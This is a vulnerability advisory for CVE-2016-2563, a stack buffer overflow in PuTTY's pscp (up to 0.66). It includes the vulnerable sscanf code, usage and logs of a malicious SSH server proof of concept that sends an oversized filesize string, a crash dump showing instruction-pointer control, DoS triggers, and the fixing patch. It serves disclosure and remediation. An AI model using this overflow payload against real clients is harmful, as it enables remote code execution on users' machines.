Putty pscp <= 0.66 - Stack Buffer Overwrite Vulnerability   Overview   Name:           putty Vendor:         sgtatham References:     * http://www.chiark.greenend.org.uk/~sgtatham/putty/ [1]   Version:        0.66 [2] Latest Version: 0.66 Other Versions: 0.59 [3] (~9 years ago) <= affected <= 0.66 Platform(s):    win/nix Technology:     c   Vuln Classes:   stack buffer overwrite (CWE-121) Origin:         remote Min. Privs.:    post auth   CVE:            CVE-2016-2563   Description   quote website [1]       PuTTY is a free implementation of SSH and Telnet for Windows and Unix platforms, along with an xterm terminal emulator. It is written and maintained primarily by Simon Tatham.   Summary   The putty SCP command-line utility (pscp) is missing a bounds-check for a stack buffer when processing the SCP-SINK file-size response to a SCP download request. This may allow a malicious server to overwrite the stack buffer within the client- application potentially leading to remote code execution.   PoC attached. patch attached.   Besides that, two minor issues have been reported in putty packet handling:       DoS condition in the parsing of SSH-Strings that lead to a nullptr read. (connect putty to poc.py and type x11exploit to trigger one of multiple occurrence of a crash, also works with x11forwarding disabled in putty)     DoS condition in the handling of unrequested forwarded-tcpip channels open requests that lead to a nullptr read. (connect putty to poc.py and type forwardedtcpipcrash to trigger crash)   Details   The vulnerable code is located in pscp.c [4] line 1498 (HEAD) and is based on an unbound sscanf string format descriptor storing an arbitrary length string in a 40byte fixed size stack buffer sizestr[40].   Inline annotations are prefixed with //#!   1491         /* 1492          * If we get here, we must have seen SCP_SINK_FILE or 1493          * SCP_SINK_DIR. 1494          */ 1495         { 1496             char sizestr[40];                                      //#! fixed size buffer 1497          1498             if (sscanf(act->buf, "%lo %s %n", &act->permissions,   //#! unbound cstr %s written to sizestr 1499                        sizestr, &i) != 2)   Proof of Concept   Prerequisites:       install python 2.7.x     issue #> pip install paramiko to install paramiko ssh library for python 2.x     make sure poc.py and test_rsa.key are in the same folder   poc:   Usage:   [<listen_ip:port>] [--no-checks] Default:  0.0.0.0:22   --no-checks ... disable client banner checks (for testing putty clones)       start the malicious sshd by running poc.py which by default will bind all ips, port 22.       INFO     monkey-patch paramiko.Transport.open_channel     INFO     monkey-patch paramiko.Transport._check_banner     INFO     --start--     INFO     ServerHostKey: 60733844cb5186657fdedaa22b5a57d5     INFO     BIND: ('0.0.0.0', 22)     INFO     Listening for connection ...     ...       try to retrieve any file from the malicious sshd by executing pscp. Provide any user/password/pubkey, the server will just accept anything.       c:\> pscp.exe -scp root@localhost:/etc/passwd .     root@localhost's password: anything       key-exchange and authentication       ...     INFO     new peer: ('127.0.0.1', 6127)     DEBUG    starting thread (server mode): 0x2411750L     INFO     Connected (version 2.0, client PuTTY_Release_0.66)     DEBUG    kex algos:[u'diffie-hellman-group-exchange-sha256', u'diffie-hellman-group-exchange-sha1', u'diffie-hellman-group14-sha1', u'diffie-hellman-group1-sha1', u'rsa2048-sha256', u'rsa1024-sha1'] server key:[u'ssh-rsa', u'ssh-dss'] client encrypt:[u'aes256-ctr', u'aes256-cbc', u'rijndael-cbc@lysator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] server encrypt:[u'aes256-ctr', u'aes256-cbc', u'rijndael-cbc@lysator.liu.se', u'aes192-ctr', u'aes192-cbc', u'aes128-ctr', u'aes128-cbc', u'blowfish-ctr', u'blowfish-cbc', u'3des-ctr', u'3des-cbc', u'arcfour256', u'arcfour128'] client mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] server mac:[u'hmac-sha2-256', u'hmac-sha1', u'hmac-sha1-96', u'hmac-md5'] client compress:[u'none', u'zlib'] server compress:[u'none', u'zlib'] client lang:[u''] server lang:[u''] kex follows?False     DEBUG    Ciphers agreed: local=aes256-ctr, remote=aes256-ctr     DEBUG    using kex diffie-hellman-group14-sha1; server key type ssh-rsa; cipher: local aes256-ctr, remote aes256-ctr; mac: local hmac-sha1, remote hmac-sha1; compression: local none, remote none     DEBUG    Switch to new keys ...     DEBUG    Auth request (type=none) service=ssh-connection, username=root     INFO     Auth rejected (none).     INFO     REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey     DEBUG    Auth request (type=gssapi-with-mic) service=ssh-connection, username=root     INFO     Auth rejected (gssapi-with-mic).     INFO     REQUEST: allowed auths: gssapi-keyex,gssapi-with-mic,password,publickey     DEBUG    Auth request (type=password) service=ssh-connection, username=root     INFO     REQUEST: CHECK_AUTH_PASS u'root' xxxxx     INFO     * SUCCESS     INFO     Auth granted (password).     ...       pscp tries to retrieve file. Server responds with fake timestamps, permissions and an overly long filesize string overflowing the 40byte client buffer.       ...     INFO     REQUEST: CHAN session 0     DEBUG    [chan 0] Max packet in: 32768 bytes     DEBUG    [chan 0] Max packet out: 16384 bytes     DEBUG    Secsh channel 0 (session) opened.     DEBUG    [chan 0] Unhandled channel request "simple@putty.projects.tartarus.org"     INFO     REQUEST: EXEC <paramiko.Channel 0 (open) window=2147483647 -> <paramiko.Transport at 0x2411750L (cipher aes256-ctr, 256 bits) (active; 1 open channel(s))>> scp -f /a     INFO     Authenticated!     INFO     wait for event     INFO     wait for event     WARNING  Oh, hello putty/pscp PuTTY_Release_0.66, nice to meet you!     INFO     send (time): 'T1444608444 0 1444608444 0\n'     INFO     send (perm): 'C755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \n'     INFO     boom!     ERROR    Peer did not ask for a shell within 10 seconds.     DEBUG    EOF in transport thread     ...       pscp crashes due to RET overwrite with EIP control (\x41==A). Can be turned into RCE (see annotation, EIP control)       FAULTING_IP:      unknown!noop+0     41414141 ??              ???       EXCEPTION_RECORD:  ffffffffffffffff -- (.exr 0xffffffffffffffff)     ExceptionAddress: 0000000041414141        ExceptionCode: c0000005 (Access violation)       ExceptionFlags: 00000000     NumberParameters: 2        Parameter[0]: 0000000000000000        Parameter[1]: 0000000041414141     Attempt to read from address 0000000041414141       CONTEXT:  0000000000000000 -- (.cxr 0x0;r)     eax=00000000 ebx=00000000 ecx=00187dc0 edx=00000000 esi=003f1061 edi=00000000     eip=41414141 esp=00187e18 ebp=41414141 iopl=0         nv up ei pl zr na pe nc                //#! EIP control     cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246     41414141 ??              ???       FAULTING_THREAD:  0000000000001d7c     PROCESS_NAME:  pscp.exe     ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.     EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.     EXCEPTION_PARAMETER1:  0000000000000000     EXCEPTION_PARAMETER2:  0000000041414141     READ_ADDRESS:  0000000041414141      FOLLOWUP_IP:      unknown!noop+0     41414141 ??              ???     FAILED_INSTRUCTION_ADDRESS:      unknown!noop+0     41414141 ??              ???     NTGLOBALFLAG:  0     APPLICATION_VERIFIER_FLAGS:  0     APP:  pscp.exe     ANALYSIS_VERSION: xxx     IP_ON_HEAP:  0000000041414141     The fault address in not in any loaded module, please check your build's rebase     log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may     contain the address if it were loaded.     IP_IN_FREE_BLOCK: 41414141     BUGCHECK_STR:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE     PRIMARY_PROBLEM_CLASS:  BAD_INSTRUCTION_PTR_EXPLOITABLE     DEFAULT_BUCKET_ID:  BAD_INSTRUCTION_PTR_EXPLOITABLE     FRAME_ONE_INVALID: 1     LAST_CONTROL_TRANSFER:  from 0000000041414141 to 0000000041414141     STACK_TEXT:       WARNING: Frame IP not in any known module. Following frames may be wrong.     00187e14 41414141 41414141 41414141 41414141 0x41414141     00187e18 41414141 41414141 41414141 41414141 0x41414141     00187e1c 41414141 41414141 41414141 00004141 0x41414141     00187e20 41414141 41414141 00004141 00000000 0x41414141     00187e24 41414141 00004141 00000000 00000000 0x41414141     00187e28 00000000 00000000 00000000 00000000 0x41414141       STACK_COMMAND:  .cxr 0x0 ; kb     SYMBOL_STACK_INDEX:  0     SYMBOL_NAME:  unknown!noop+0     FOLLOWUP_NAME:  MachineOwner     MODULE_NAME: unknown     IMAGE_NAME:  unknown     DEBUG_FLR_IMAGE_TIMESTAMP:  0     FAILURE_BUCKET_ID:  BAD_INSTRUCTION_PTR_EXPLOITABLE_c0000005_unknown!noop     BUCKET_ID:  APPLICATION_FAULT_BAD_INSTRUCTION_PTR_INVALID_POINTER_READ_ZEROED_STACK_EXPLOITABLE_BAD_IP_unknown!noop+0     ANALYSIS_SOURCE:  UM     FAILURE_ID_HASH_STRING:  um:bad_instruction_ptr_exploitable_c0000005_unknown!noop     FAILURE_ID_HASH:  xxx     Followup: MachineOwner     ---------   Troubleshooting   Q: ImportError: No module named py3compat   A: outdated paramiko please upgrade with pip install --upgrade paramiko Remediation Steps       provide length to sscanf conversion specifier %s with a max of sizeof(sizestr)-1 %39s (see attached pscp.patch)       diff --git a/pscp.c b/pscp.c     index a4e55fe..809c20f 100644     --- a/pscp.c     +++ b/pscp.c     @@ -1495,7 +1495,7 @@ int scp_get_sink_action(struct scp_sink_action *act)             {                 char sizestr[40];       -           if (sscanf(act->buf, "%lo %s %n", &act->permissions,     +           if (sscanf(act->buf, "%lo %39s %n", &act->permissions,                             sizestr, &i) != 2)                     bump("Protocol error: Illegal file descriptor format");                 act->size = uint64_from_decimal(sizestr);   Notes   Verified, resolved and released within one week. quite impressive.   Vendor response: see [5]   PuTTY clones based on the vulnerable version are probably affected. run #> poc.py 0.0.0.0:22 --no-checks to disable client banner checks       affected (kscp.exe): KiTTY <= 0.66.6.3 [6]   References   [1] http://www.chiark.greenend.org.uk/~sgtatham/putty/ [2] http://tartarus.org/~simon-git/gitweb/?p=putty.git [3] http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=tree;h=5baaacba07aff7bd680cf9954fee44a0c11dc968;hb=c8ac73ada6aa865ce9f4d0e389ba210072bc0b57 [4] http://tartarus.org/~simon-git/gitweb/?p=putty.git;a=blob;f=pscp.c;hb=HEAD [5] http://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-pscp-sink-sscanf.html